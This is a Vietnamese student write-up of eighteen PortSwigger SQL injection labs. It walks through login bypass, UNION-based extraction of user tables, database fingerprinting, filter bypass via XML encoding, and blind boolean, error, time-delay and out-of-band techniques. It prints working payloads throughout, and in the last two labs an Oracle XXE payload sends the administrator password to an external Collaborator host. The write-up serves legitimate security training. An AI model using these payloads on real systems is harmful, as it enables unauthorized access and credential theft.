# SQL INJECTION WRITEUP --- ###### tags: `PortSwigger` `Writeup` ## 1. Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data ![](https://i.imgur.com/z5Rwcwt.png) - Lab này yêu cầu em thực hiện tấn công kiểu SQL Injection vào trang web khiến trang web hiện tất cả những mặt hàng có trong danh sách, cả những mặt hàng đã được ra mắt và chưa ra mắt - Lab đã cho em biết được nơi mà em có thể khai thác SQL Injection, là chỗ phân loại sản phẩm, nên em đã vào BurpSuite để bắt lấy request chọn category: ![](https://i.imgur.com/x3GPIGg.png) - Em đưa tab này Repeater, rồi chỉnh sửa đoạn request + Đầu tiên, câu lệnh kia sẽ phân loại theo tên category và yếu tố released = 1, nên công việc của em là: chèn vào 1 phần tử luôn đúng, khi đó sẽ không còn có chuyện phân loại theo tên category, và làm cho yếu tố released = 1 vô dụng. + Em đã thực hiện SQL Injection bằng cách thêm dấu ' để kết thúc chuỗi truyền vào category, và thêm điều kiện `or '1' = '1'` , vì 1 luôn bằng 1 nên nó sẽ hiện hết các sản phẩm do câu lệnh SQL là SELECT * (chọn hết), sau đó tiếp tục thêm phần `--` là ký hiệu của chú thích, nghĩa là sau dấu `--` tất cả sẽ vô nghĩa, nên phần lệnh `AND released = 1` đã trở nên vô nghĩa. - Như vậy, sau khi chỉnh sửa ở repeater thành công, em đã xem được những sản phẩm còn chưa ra mắt bằng cách thay đổi cách hoạt động của câu lệnh SQL: ![](https://i.imgur.com/lXaARHb.png) - Em đã solve được lab trên: ![](https://i.imgur.com/dJtVP0t.png) ## 2. Lab: SQL injection vulnerability allowing login bypass ![](https://i.imgur.com/t6PMT6L.png) - Lab này chứa một lỗ hổng SQL Injection ở phần đăng nhập, để giải quyết lab này, em cần phải thực hiện SQL injection để đăng nhập vào ứng dụng với tài khoản admin - Em đoán rằng câu lệnh SQL sẽ na ná như: SELECT * WHEN `username` = 'username' AND `password` = 'password' - Nên em đã thực hiện việc SQL Inject vào tài khoản: `0' or '1' = '1' --` + `0'` là để đóng chuỗi nhập vào biến username trong database + `or '1' = '1'` là để kèm theo điểu kiện luôn đúng, khiến em sẽ có thể đăng nhập vào với bất kỳ tài khoản nào + `--` là để chú thích lại điều kiện AND password, khiến em có thể đăng nhập với bất kỳ mật khẩu nào - Em đã đăng nhập với tài khoản như vậy mà mật khẩu `1`: ![](https://i.imgur.com/dK6dFxy.png) - Đăng nhập thành công, em đã solve được lab: ![](https://i.imgur.com/9pqjMKT.png) ## 3. SQL injection UNION attack, determining the number of columns returned by the query ![](https://i.imgur.com/2n5vvGj.png) - Lab trên chứa một lỗ hổng trong cơ chế lọc category, kết quả của query sẽ được hiện ở trong kết quả trả về ở phía người dùng, nên ta có thể thực hiện tấn công qua UNION để lấy được dữ liệu từ những bảng khác. - Công việc đầu tiên là lấy được số cột sẽ được trả về của query, để solve được lab, em cần thực hiện SQL Injection tấn công theo UNION để trả về thêm hàng mang giá trị null. - Đầu tiên, em đưa tab filter category vào Repeater trong BurpSuite để thay đổi tham số category. Sau quá trình tìm hiểu, em thấy ta có thể biết được số cột mà query có thể trả về bằng cách đưa từng giá trị NULL vào table, đến khi nào server trả về cho em Hàng với giá trị NULL, thì ta xác định được số cột của response. ![](https://i.imgur.com/1biP2vZ.png) - Em đã thực hiện theo bằng cách thêm vào phần tham số của `filter/?category=Accesories'+UNION+SELECT+NULL--` + Với dấu ' là để ngắt input vào tham số accesories, UNION SELECT để khởi tạo UNION và thêm 1 số NULL, đồng thời chú thích để ngắt những câu lệnh đằng sau. ![](https://i.imgur.com/Jt1Ebnv.png) + Em phát hiện thấy lỗi server, chứng tỏ em chưa thêm đủ giá trị NULL, nên em tiếp tục thêm những giá trị NULL nữa. ![](https://i.imgur.com/ehi1zFt.png) + Đến giá trị NULL thứ 3 thì query trả về cho em 3 giá trị NULL của table, chứng tỏ UNION có 3 cột ![](https://i.imgur.com/YxZcpiw.png) - Như vậy, em đã solve được lab với `/filtercategory=Accesories'+UNION+SELECT+NULL,NULL,NULL--` ![](https://i.imgur.com/0paYz6G.png) ## 4. Lab: SQL injection UNION attack, finding a column containing text ![](https://i.imgur.com/kcQLjcA.png) - Lab này có chứa lỗ hổng SQL Injection ở cơ chế lọc category. Giờ em cần phải thực hiện tấn công kiểu UNION để tìm được cột nào đang ở dạng string - Đầu tiên, ta cần phải xem có bao nhiêu cột được trả về ở query, sử dụng kĩ thuật của lab trước, ta biết được query sẽ trở về 3 cột: ![](https://i.imgur.com/WtV4UUg.png) - Sau đó, em sẽ thử từng giá trị của string vào các cột này, nghĩa là em sẽ thử xem cột nào mang giá trị `Nq9tWY`, bằng cách thay giá trị null bằng `Nq9tWY`, cụ thể như sau: ![](https://i.imgur.com/CFY7CaK.png) + Em thay giá trị NULL đầu tiên và lỗi server, nên em tiếp tục chuyển sang thay giá trị NULL thứ hai, và ta đã hiện ra dữ liệu cần: ![](https://i.imgur.com/2LPGGYc.png) - Như vậy, em đã solve được lab. ## 5. Lab: SQL injection UNION attack, retrieving data from other tables ![](https://i.imgur.com/W4aSB24.png) - Lab này chứa một lỗ hổng SQL Injection ở cơ chế lọc category, ta cần tấn công bằng UNION để lấy dữ liệu từ các bảng khác, trong cơ sở dữ liệu của một bảng `user` có 2 cột là `username` và `password` - Để solve được lab, em cần phải lấy được hết tài khoản và mật khẩu, rồi dùng thông tin đó để đăng nhập với người dùng admin - Sau khi biết được queery trả về là 2 cột, em tiến hành lấy username và pasword ở bảng user bằng câu lệnh: `UNION SELECT... FROM...` Cụ thể ở đây là: `UNION SELECT username,password FROM users`. Thay đổi với cấu trúc đó ở trong Repeater, em đã có được thông tin về tài khoản và mật khẩu của administrator: ![](https://i.imgur.com/7p08CkO.png) - Tài khoản của admin đã có, với username là: **administrator**, password là: **6exmkfzh12ryyb6xt8rn**, đăng nhập với username và tài khoản trên, em đã solve được lab. ![](https://i.imgur.com/RPBYye0.png) ## 6. Lab: SQL injection UNION attack, retrieving multiple values in a single column ![](https://i.imgur.com/dI7kj3a.png) - Lab này yêu cầu em thực hiện tấn công SQL Injection bằng UNION với mục đích lấy ra được nhiều thông tin ra chỉ trong một cột, mà ở đây là lấy được thông tin của username và password trong bảng user - Ban đầu em xác định được query trả về cho em được 2 cột: ![](https://i.imgur.com/y3Ngvam.png) - Bây giờ em muốn lấy cả tài khoản và mật khẩu chỉ trong 1 cột, mà cột còn lại mang giá trị NULL thì phải làm sao ![](https://i.imgur.com/Ed5reG0.png) - Sau khi tìm hiểu thì em đã biết được cách, đó chính là nối chuỗi với toán tử `||`, và em sẽ nối ở giữa 1 ký tự nào đó không xuất hiện trong cả tài khoản và mật khẩu để dễ quan sát hơn, cụ thể thì em đã thực hiện biến đổi tham số category như sau: `/filter?category=Accessories'+UNION+SELECT+NULL,username||'-'||password+FROM+users--` + Với ký tự `'-'` để phân tách giữa 2 chuỗi tài khoản và mật khẩu + Và dấu `||` để tách chuỗi ![](https://i.imgur.com/eW4JgWQ.png) + Kết quả ở đây đã thể hiện rõ, tài khoản và mật khẩu được tách nhau bởi dấu "-", em đã có tài khoản administrator: + username: **administrator** + password: **w2az38x2ho1vu35kynhr** - Đăng nhập với tài khoản trên, em đã solve được lab: ![](https://i.imgur.com/iy0Gwng.png) ## 7. Lab: SQL injection attack, querying the database type and version on Oracle ![](https://i.imgur.com/I9gC71c.png) - Lab trên có chứa lỗ hổng SQL ở cơ chế lọc category, em cần phải hiện ra được phiên bản của database dưới dạng string bằng UNION - Để hiện được phiên bản của database cũng như loại database, ta có thể sử dụng những câu lệnh như: | Loại Databse | Câu Lệnh URL sử dụng | | -------- | -------- | |Microsoft|‘+UNION+SELECT+@@version| |Oracle|‘+UNION+SELECT+BANNER,NULL+FROM+v$version--| |PostgreSQL|‘+UNION+SELECT+version()| |MySQL|‘+UNION+SELECT+@@version| - Đầu tiên, em cần phải tìm được số cột của query trả về, vì đây Oracle, em có thể dùng `order by 1` hoặc là `select null from dual` ![](https://i.imgur.com/DE6Zyyj.png) - Query trả về cho ta 2 cột, sau đó em phải tìm xem cột nào trả về giá trị là chuỗi, thì em sẽ đưa chuỗi vào lần lượt từng cột: ![](https://i.imgur.com/xk2jftY.png) - Nhờ đó ta biết được cột 1 mang giá trị string, giờ em sẽ trỏ cột 1 vào để cột 1 hiện ra phiên bản của Oracle. ![](https://i.imgur.com/kRecYYv.png) - Như vậy, em đã solve được lab. ## 8. Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft ![](https://i.imgur.com/qv1vGsN.png) - Lab này yêu cầu em thực hiện SQL Injection bằng UNION nhằm hiện ra được thông tin của loại cũng như phiên bản của database của trang web. - Ban đầu em cần xác định query trả về bao nhiêu cột: ![](https://i.imgur.com/aHWU3Nb.png) ![](https://i.imgur.com/IbCa2iV.png) + Em `order by` để xác định số cột mà union có thể có, và khi em nhập đến 3 thì đã có lỗi xảy ra, điều này chứng tỏ query chỉ trả về 2 cột - Sau khi xác định được số cột, em cần phải xem cột nào có thể chứa được giá trị chuỗi: ![](https://i.imgur.com/mdoh0SO.png) + Sau khi gán giá trị chuỗi vào cột 1, em có thể thấy nó hiện về được, nên em xác định cột 1 sẽ là cột để hiện ra được thông tin chuỗi - Gán vào cột 1 với biến `@@version` để hiện ra phiên bản của loại database MySQl và Microsoft, em đã solve được lab: ![](https://i.imgur.com/QRUM8wX.png) ## 9. Lab: SQL injection with filter bypass via XML encoding ![](https://i.imgur.com/Edq4hE6.png) - Lab trên chứa một lỗ hổng SQL Injection ở tính năng kiểm tra hàng hóa. Kết quả của query trả về cho người dùng, nhiệm vụ của ta là phải lấy được thông tin từ bảng users, từ đó lấy được tài khoản và mật khẩu của admin. - Đầu tiên ta cần phải xác định xem UNION có thể lấy được bao nhiêu cột, tuy nhiên khi em sử dụng câu lệnh UNION SELECT NULL và chữ **S** được mã hóa theo **Html Encode**, trang web đã phát hiện ra em thực hiện tấn công trang web và nó đã in ra như này: ![](https://i.imgur.com/PUnvyZH.png) - Em không thể tấn công theo cách bình thường như này, nên em cần phải sử dụng thêm extension có trong BurpSuite là Hackvertor, công cụ này sẽ biến đổi payload và mã hóa theo nhiều dạng khác nhau, tiêu biểu như: base64,... Ở đây em sẽ encode câu query của em theo dạng hex_entities để vượt qua được tường lửa của trang web: ![](https://i.imgur.com/6rugOUw.png) ![](https://i.imgur.com/3ChFIaB.png) - Như vậy em đã biết được UNION trả về 1 cột, sau đó em cần check xem liệu em có thể truyền được thông tin từ bảng users ra được không ![](https://i.imgur.com/980yQnf.png) - Em thấy đã có thể thực hiện được việc truyền thông tin ra, nên em tiến hành thực hiện nối chuỗi để lấy được thông tin của các tài khoản và mật khẩu ra từ table users: ![](https://i.imgur.com/iSqhtTw.png) - Như vậy em đã có tài khoản. Với username:`administrator` và password: `f082e0qfxhre1dyskbib`thực hiện nhập tài khoản admin vào, em đã solve được lab: ![](https://i.imgur.com/RrcGxZj.png) ## 10. Lab: SQL injection attack, listing the database contents on non-Oracle databases ![](https://i.imgur.com/SeYqzTc.png) - Lab này có chứa lỗ hổng SQL Injection ở cơ chế phân loại sản phẩm, nhiệm vụ của em là cần tìm được bảng có chứa tên tài khoản và mật khẩu, từ đó lấy được thông tin của admin. - Đầu tiên, em vẫn cần phải tìm được UNION này trả về cho em bao nhiêu cột, em sử dụng `Select null-- -` và em biết được UNION sẽ đưa về cho em 2 cột ![](https://i.imgur.com/SjmWg30.png) - Em biết được đây không phải Oracle, nên luôn tồn tại 1 bảng information_schema chứa tên các bảng, loại các bảng, đồng thời kiểm tra cho em thấy 2 cột của UNION đều có thể trả về cho em dạng chuỗi, nên em tiến hành tìm tên tables trong information_schema.tables - Với câu query là: ```sql!= '+union+select+table_name,null+from+information_schema.tables--+- ``` - câu lệnh này sẽ trả về hết cho em các tên bảng có trong cơ sở dữ liệu: + `tabe_name`: tên các bảng có trong CSDL + `information_schema.tables`: bảng chứa tên các bảng có trong CSDL ![](https://i.imgur.com/pxNWL9Q.png) - Như chúng ta có thể thấy, có rất nhiều bảng tên user, có một số bảng khá đáng ngờ trong trang web này như: + users_zcuejx + pg_stat_user_tables + pg_stat_xact_user_tables + pg_user - Em sẽ thử lấy các cột của từng bảng bằng câu lệnh: ```sql! +union+select+column_name,null+from+information_schema.columns+where+table_name='users_zcuejx'--+- ``` ![](https://i.imgur.com/9oF0ngv.png) - Thật may mắn là vì ngay từ bảng đầu tiên, em đã có ngay được tên tài khoản và mật khẩu, công việc còn lại chỉ là hiện ra thông tin trên UNION bằng cách select từ bảng **'users_zcuejx'** ![](https://i.imgur.com/jDD1yrJ.png) - Như vậy, em đã có tên tài khoản và mật khẩu, đăng nhập vào trang web, em đã solve được lab. ![](https://i.imgur.com/rrxseQy.png) ## 11. Lab: SQL injection attack, listing the database contents on Oracle ![](https://i.imgur.com/AdTaIpx.png) - Trang web này có chứa lỗ hổng SQL Injectiong ở cơ chế phân loại hàng, nhiệm vụ của em vẫn giống lab trước, là tìm được tên bảng chứa tên tài khoản và mật khẩu, từ đó đăng nhập vào lab với tư cách là administrator. - Công việc đầu tiên vẫn là phải tìm được số cột mà UNION trả về, bằng câu query `ORDER BY 3--`, server đã trả về status 500, nghĩa là UNION của em chỉ trả về 2 cột: ![](https://i.imgur.com/5wHinvC.png) - Sau đó em tiếp tục sử dụng query để liệt kê những tên bảng có trong bảng gốc all_tables mặc định của Oracle: ![](https://i.imgur.com/MJK8uEo.png) - Câu query có cấu trúc: ```sql!= '+union++select+table_name,null+from+all_tables--+- ``` - Có một số bảng khá đáng ngờ là: + USERS_LVQGXY + APP_USERS_AND_ROLES + SDO_PREFERRED_OPS_USER - Em thử hiện ra tất cả các cột của bảng đầu tiên sử dụng cấu trúc: ```sql! '+union+select+column_name,null+from+all_tab_columns+where+table_name='USERS_LVQGXY'--+- ``` - Ngay từ ở bảng đầu, nó đã cho em 2 cột là username và password, đây chính là bảng em cần tìm: ![](https://i.imgur.com/06Ph9Bs.png) - Giờ chỉ cần thực hiện lấy thông tin ra từ bảng USERS_LVQGXY là xong: ![](https://i.imgur.com/CdOp8d9.png) - Em đã có được thông tin của administrator, đăng nhập vào trang web và em đã solve được lab này: ![](https://i.imgur.com/qa5iWs6.png) ## 12. Lab: Blind SQL injection with conditional responses ![](https://i.imgur.com/LqUqQqE.png) - Lab này có chứa lỗ hổng Blind SQL Injection, khi trang web này lữu trữ cookie và phân tích nó, và ta có thể dựa vào cách trang web phản hồi để đoán vì trang web này sẽ không hiện kết quả của câu lệnh query mà ta nhập vào, nhưng nếu query có trả về kết quả thì trang web sẽ hiện "Welcome back" - Có một bảng tên là "users" chứa tên tài khoản và mật khẩu, em cần phải lấy được mật khẩu của admin để solve được lab này - Vì đây là blind SQL Injection, nên việc dùng UNION là khá khó khăn do không nhìn thấy được kết quả của query, việc tìm mật khẩu của admin sẽ chủ yếu là tìm từng từ một, và sử dụng tab Intruder của BurpSuite - Đầu tiên em sẽ xem trang web phản ứng ra sao nếu em chèn thêm vào câu query 1 thứ luôn đúng, chẳng hạn như '1'='1': ![](https://i.imgur.com/322VjBx.png) - Như ta có thể thấy, việc truy vấn thành công do trang web hiện về cho em chữ "Welcome back", nghĩa là giờ cách làm của bài này sẽ là: truyền vào một câu query, nếu nó đúng thì sẽ trả về "Welcome back", còn nếu nó không đúng thì nó sẽ không trả về gì - Em đã biết tên tài khoản là 'administrator', việc đầu tiên cần làm là xem liệu mật khẩu dài bao nhiêu ký tự ```sql! '+and+(select+'a'+from+users+where+username='administrator'+and+length(password)>1)='a'--+- ``` - Câu query trên của em nghĩa là: em sẽ chọn ra chữ a nếu trong bảng users có username là administrator và độ dài của password lớn hơn 1. Điều này có nghĩa chỉ khi cả 2 yếu tố là trong bảng users có username là administrator và độ dài của password lớn hơn 1 thì câu lệnh này mới là đúng, và trang web mới trả về chữ "Welcome back". ![](https://i.imgur.com/jpxIGQh.png) - Cứ tiếp tục tăng như vậy cho đến 20, ta không còn thấy welcome xuất hiện nữa, ta khẳng định rằng password có 20 ký tự ![](https://i.imgur.com/zTMTS8l.png) - Như vậy ta đã có được độ dài của mật khẩu, em sẽ sử dụng tab intruder để bruteforce lấy từng ký tự trong mật khẩu của admin bằng câu query ```sql!= '+and+(select+substring(password,1,1)+from+users+where+username='administrator')='a'--+- ``` - Với câu query như này, nếu chuỗi con mang ký tự đầu tiên của chuỗi là 'a' thì trang web mới trả về cho ta dòng "Welcome back", ta bắt đầu tiến hành bruteforce ![](https://i.imgur.com/voiGykX.png) - Tại 2 vị trí: vị trí lấy xâu con và chữ cái thử. Với vị trí lấy xâu con chạy từ 1 đến 20, còn chữ cái thử là chữ thường a-z và số 0-9. Chọn mode ClusterBomb và bắt đầu bruteforce - Chỉ cần có trường hợp nào trả về welcome back thì đó chính là ký tự đúng trong password của admin ![](https://i.imgur.com/AFbq03g.png) - Kết quả bruteforce đã có, em sẽ tổng hợp lại thành mật khẩu như sau: ***nionodubzwpsm383cr4f*** - Đăng nhập với tài khoản và mật khẩu trên và em đã solve được lab ![](https://i.imgur.com/4bi2tJg.png) ## 13. Lab: Blind SQL injection with conditional errors ![](https://i.imgur.com/86cy3jV.png) - Lab trên có chứa lỗ hổng blind SQL Injection trong quá trình lưu trữ và phân tích cookie, đồng thời thực hiện một câu lệnh SQL có chứa giá trị của cookie đó - Kết quả của câu query không được hiện ra, và trang web cũng không trả về bất cứ thứ gì trong trường hợp query có trả về hàng nào hay không. Nhưng nếu câu lệnh SQL query không thực thi được thì ứng dụng sẽ trả về thông báo lỗi - Trong CSDL của trang web có chứa một bảng là `users`, với 2 cột là `username` và `password`. Nhiệm vụ của chúng ta là đăng nhập với tư cách là administrator. - Ta sẽ không thể làm việc như lab bên trên nữa vì dù query có trả về hàng hay không thì trang web cũng không hề show ra bất kỳ thứ gì, nên ta cần phải phải tiếp cận theo một hướng khác, đó là cố tình biến câu query thành sai để trang web báo lỗi. - Đầu tiên ta cần xác định xem dạng CSDL của trang web là gì, từ đó sử dụng câu query phù hợp, ở đây trang web đã sử dụng Oracle, nên ta cần phải cân nhắc sử dụng đúng kiểu: - Đầu tiên sẽ là check xem mật khẩu của ta dài bao nhiêu ký tự, sử dụng cấu trúc này, nếu mật khẩu > 20 ký tự thì nó sẽ báo về lỗi (status 500) vì nếu điều kiện mật khẩu > 20 ký tự là đúng nó sẽ thực hiện phép tính 1/0 và gặp lỗi ở đấy, tuy nhiên ở đây khi dùng điều kiện mật khẩu > 20 ký tự thì nó lại trả về status 200, nghĩa là câu điều kiện này đã sai, từ đó ta có thể khẳng định mật khẩu của tài khoản administrator dài 20 ký tự: ```sql! '+||+(SELECT+CASE+WHEN+LENGTH(password)>20+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')+||+' ``` ![](https://i.imgur.com/33Kafuh.png) - Thể hiện chắc chắn hơn ở việc bruteforce thì từ điều kiện > 20 ký tự, lớn hơn 20 đều trả về status 200: ![](https://i.imgur.com/0bmCO0A.png) - Sau đó ta chỉ cần tiến hành bruteforce lấy từng ký tự của mật khẩu, chỉ cần trả về status 500 thì đó chính là ký tự đúng ![](https://i.imgur.com/mJWe7Do.png) ```sql! '+||+(SELECT+CASE+WHEN+SUBSTR(password,+§1§,+1)='§a§'+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')+||+' ``` - Kết quả bruteforce ta có: ![](https://i.imgur.com/PEewOGh.png) - Như vậy, mật khẩu của tài khoản admin là: **04f6rwbo9u1t5aq1ih0n** - Đăng nhập với thông tin trên, em đã solve được lab ![](https://i.imgur.com/ZfxmEVn.png) ## 14. Lab: Blind SQL injection with time delays ![](https://i.imgur.com/DBkhSae.png) - Lab này có chứa lỗ hổng SQL Injection trong cơ chế kiểm tra và đánh giá cookie của người dùng, kết quả của query sẽ không thể hiện ra bất kể khi query có trả về hàng gì hay có lỗi hay không - Để solve được lab, em cần làm quá trình trả về có độ trễ 10s - Em đã sử dụng cách nối chuỗi `||` đồng thời sử dụng câu lệnh `pg_sleep(10)` vì em đã thử Oracle và Microsoft trước đó, kết quả cho ra là: - Câu query của em là: `'||(select+1+from+pg_sleep(10))--+-` ![](https://i.imgur.com/Zmdcj11.png) ![](https://i.imgur.com/S5WtU8d.png) - Độ trễ 10s, hoàn thành điều kiện đề bài, em đã solve được lab này ![](https://i.imgur.com/Zw3h5WX.png) ## 15. Lab: Visible error-based SQL injection ![](https://hackmd.io/_uploads/Skve9-Ihn.png) - Sau khi fuzzing thử thì payload `'+CAST((SELECT password FROM users) AS int)--+-` đã làm lộ ra câu lệnh query: ![](https://hackmd.io/_uploads/rJhj9bLhn.png) - Giờ để lộ ra mật khẩu của admin, ta phải làm cách nào đó để nó lộ ra kết quả của phép CAST này, và em có payload sau: `'+AND+1=CAST((SELECT 1) AS int)--+-` ![](https://hackmd.io/_uploads/S1oE3WLn3.png) - Trang web đã chấp nhận payload này, lí do tại sao?, đầu tiên phép AND sẽ biến chuỗi query này trả về kết quả kiểu boolean đúng sai, nên em không thể dùng `'AND+CAST((SELECT 1) AS int)--+-` vì nó sẽ báo kết quả của của phép toán có AND phải trả về kiểu đúng sai, nên ta thêm `1=` vào đằng trước để query tương ứng với `AND 1=1`. Nhưng vẫn chưa lấy được mật khẩu ra - Khi thử đến payload `'+AND+1=CAST((SELECT username FROM users) AS int)--+-` thì chuyện này xảy ra: ![](https://hackmd.io/_uploads/HJxzaZU3h.png) - Response trả về thiếu câu payload nên em nghĩ trang web đã truncate query, để query ngắn hơn thì em sẽ bỏ phần đầu của tracking id ![](https://hackmd.io/_uploads/Hky86ZUn3.png) - Lần này là lỗi do kết quả của phép select trả về nhiều hơn 1 hàng, nên em sẽ thêm `LIMIT 1` : ![](https://hackmd.io/_uploads/By0_pWIhh.png) - Ngon, error xổ ra kèm theo tên của người đầu trong bảng `users` là administrator, giờ em đổi tham số username bằng password thì ta sẽ có mật khẩu tương ứng của administrator: `'+AND+1=CAST((SELECT password FROM users LIMIT 1) AS int)--+-` ![](https://hackmd.io/_uploads/H1sppbIn2.png) - Mật khẩu của admin là: `649swwvidg1wsp5w9eus`, đăng nhập và em đã solve được lab: ![](https://hackmd.io/_uploads/BkyWCWL2h.png) ## 16. Lab: Blind SQL injection with time delays and information retrieval ![](https://hackmd.io/_uploads/BJWCAW8nh.png) - Từ payload `||+(SELECT 1 from pg_sleep(10))`, xác định được trang web sử dụng PostgreSQL: ![](https://hackmd.io/_uploads/HkuMxfU2h.png) - Em bắt đầu đi tìm kiếm độ dài của mật khẩu bằng cách chèn query vào, nếu câu query `LENGTH(password) > 1` đúng thì nó sẽ cho sleep 10s, nếu không thì sleep 0s thôi ![](https://hackmd.io/_uploads/HkUz-MIn2.png) - Tiến hành intruder để xem độ dài mật khẩu: ![](https://hackmd.io/_uploads/ryIISfUhh.png) - Vì bruteforce đến 30 ký tự nên em đã giảm xuống còn sleep(5), như ta có thể thấy từ khi độ dài password > 20 thì trang web không bị sleep nữa, chứng tỏ độ dài của password là 20 - Giờ ta sẽ tiến hành lấy từng ký tự của mật khẩu bằng payload: `'||+(SELECT CASE WHEN (substring(password,1,1) = 'a') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users WHERE username='administrator')--+-`, nếu chữ cái đầu là `a` thì sleep, không thì không sleep - Tiến hành bruteforce ở 2 vị trí: ![](https://hackmd.io/_uploads/rkO4IzU3n.png) ![](https://hackmd.io/_uploads/S13CIGUn3.png) - Kết quả đã có, password của administrator là: `5m4mqyl2azs6ncyremvx` ![](https://hackmd.io/_uploads/r1O8vzL2n.png) ## 17. Lab: Blind SQL injection with out-of-band interaction ![](https://hackmd.io/_uploads/HyQZ6GUn2.png) - Em sử dụng payload: để thực thi câu lệnh nslookup ở trang BurpCollaborator: `' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://cuazfmzqkl3cjt22dwl2wm6h98fz3rrg.oastify.com/"> %remote;]>'),'/l') FROM dual-- -` để trigger câu lệnh dns query ở bên trang web: `cuazfmzqkl3cjt22dwl2wm6h98fz3rrg.oastify.com` ![](https://hackmd.io/_uploads/r1CMSmUnh.png) - Qua tab Collaborator: ![](https://hackmd.io/_uploads/Bkm4rmI3n.png) - Em đã solve được lab: ![](https://hackmd.io/_uploads/rJdHrQUh2.png) ## 18. Lab: Blind SQL injection with out-of-band data exfiltration ![](https://hackmd.io/_uploads/Hk6lLXU3h.png) - Fuzzing `' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://4hmifb4rlg01ir3vdx3pm48wsnyem4at.oastify.com/"> %remote;]>'),'/l') FROM dual-- -` thì ta nhận định trang web sử dụng Oracle: ![](https://hackmd.io/_uploads/S1d1DmU23.png) ![](https://hackmd.io/_uploads/rkTyv7I2h.png) - Giờ ta tiến hành lấy password của administrator bằng: `' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.mwm0utj90yfjx9idsfi71mne75dw1npc.oastify.com/"> %remote;]>'),'/l') FROM dual-- -`, payload này sẽ lấy mật khẩu của administrator rồi gắn vào đầu của đường dẫn đến BurpCollaborator: ![](https://hackmd.io/_uploads/Hk0boQLhh.png) - Vậy là ta đã có mật khẩu: `jjafikkyx5n6yfcmi1be`, đăng nhập và em đã solve được lab ![](https://hackmd.io/_uploads/HJuBiQUhn.png)